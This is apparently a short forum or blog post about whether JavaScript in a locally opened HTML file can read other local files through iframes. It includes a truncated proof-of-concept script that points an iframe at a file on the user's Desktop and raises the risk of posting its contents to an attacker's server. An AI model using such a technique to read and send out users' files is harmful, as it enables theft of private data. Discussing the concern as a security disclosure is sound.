Access to local file system using javascript

The browser can access the local files using iframes with a local html file. this is very normal and often used for local web development but javascript shouldn't be able to get the content of that iframe because this can be used to post the contents to the attackers server. something else I …

<html>
<body>
<div id='div1'>
</div>
<script>
current_href = document.location.href
frame = document.createElement('iframe'); frame.src = current_href.replace('/Downloads/test.html', '/Desktop/Desktop.txt'); frame.id = 'frm'; document.getElementById('div1').appendChild(frame)
setTimeout(function …